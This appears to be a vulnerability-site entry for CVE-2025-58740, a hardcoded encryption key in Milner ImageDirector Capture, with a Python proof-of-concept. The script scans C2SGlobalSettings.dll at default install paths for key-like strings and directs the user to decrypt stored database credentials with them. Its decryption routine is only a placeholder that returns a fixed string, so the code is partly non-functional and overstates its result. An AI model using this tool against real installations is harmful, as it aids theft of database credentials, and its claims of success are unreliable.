CVE-2025-58740 Milner ImageDirector Capture 硬编码加密密钥漏洞

# CVE-2025-58740 PoC - Extract hardcoded encryption key from C2SGlobalSettings.dll # This PoC demonstrates how an attacker can extract the hardcoded encryption key import os import re import sys def extract_hardcoded_key(dll_path): """ Extract potential hardcoded encryption keys from the DLL file """ if not os.path.exists(dll_path): print(f"[-] DLL file not found: {dll_path}") return None print(f"[+] Reading DLL file: {dll_path}") with open(dll_path, 'rb') as f: data = f.read() # Search for common encryption key patterns key_patterns = [ rb'Password', # Password function reference rb'Key', # Key references rb'[A-Fa-f0-9]{32}', # 32-char hex key (AES-128) rb'[A-Fa-f0-9]{64}', # 64-char hex key (AES-256) ] found_keys = [] for pattern in key_patterns: matches = re.findall(pattern, data) if matches: found_keys.extend([m.decode('utf-8', errors='ignore') for m in matches]) # Extract strings that look like encryption keys (alphanumeric, 16-64 chars) strings_output = os.popen(f'strings "{dll_path}"').read() potential_keys = re.findall(r'[A-Za-z0-9+/=]{16,64}', strings_output) print(f"[+] Found {len(potential_keys)} potential encryption keys") for i, key in enumerate(potential_keys[:10]): print(f" Key {i+1}: {key}") return potential_keys def decrypt_password(encrypted_password, extracted_key): """ Decrypt database password using the extracted hardcoded key Note: Actual decryption algorithm depends on implementation """ print(f"[*] Attempting to decrypt password with key: {extracted_key}") # Placeholder for actual decryption logic # In real scenario, reverse engineer the Password function return "DECRYPTED_PASSWORD" def main(): print("=" * 60) print("CVE-2025-58740 PoC - Hardcoded Encryption Key Extraction") print("Target: Milner ImageDirector Capture") print("=" * 60) # Common installation paths dll_paths = [ r"C:\Program Files\Milner\ImageDirector Capture\C2SGlobalSettings.dll", r"C:\Program Files (x86)\Milner\ImageDirector Capture\C2SGlobalSettings.dll", ] # Try to find and extract the hardcoded key for dll_path in dll_paths: print(f"\n[*] Checking path: {dll_path}") keys = extract_hardcoded_key(dll_path) if keys: print(f"\n[!] Successfully extracted potential encryption keys!") print("[!] Use these keys to decrypt database credentials stored by ImageDirector Capture") break else: print("[-] Could not locate C2SGlobalSettings.dll") print("[-] Please provide the correct installation path") if __name__ == "__main__": main()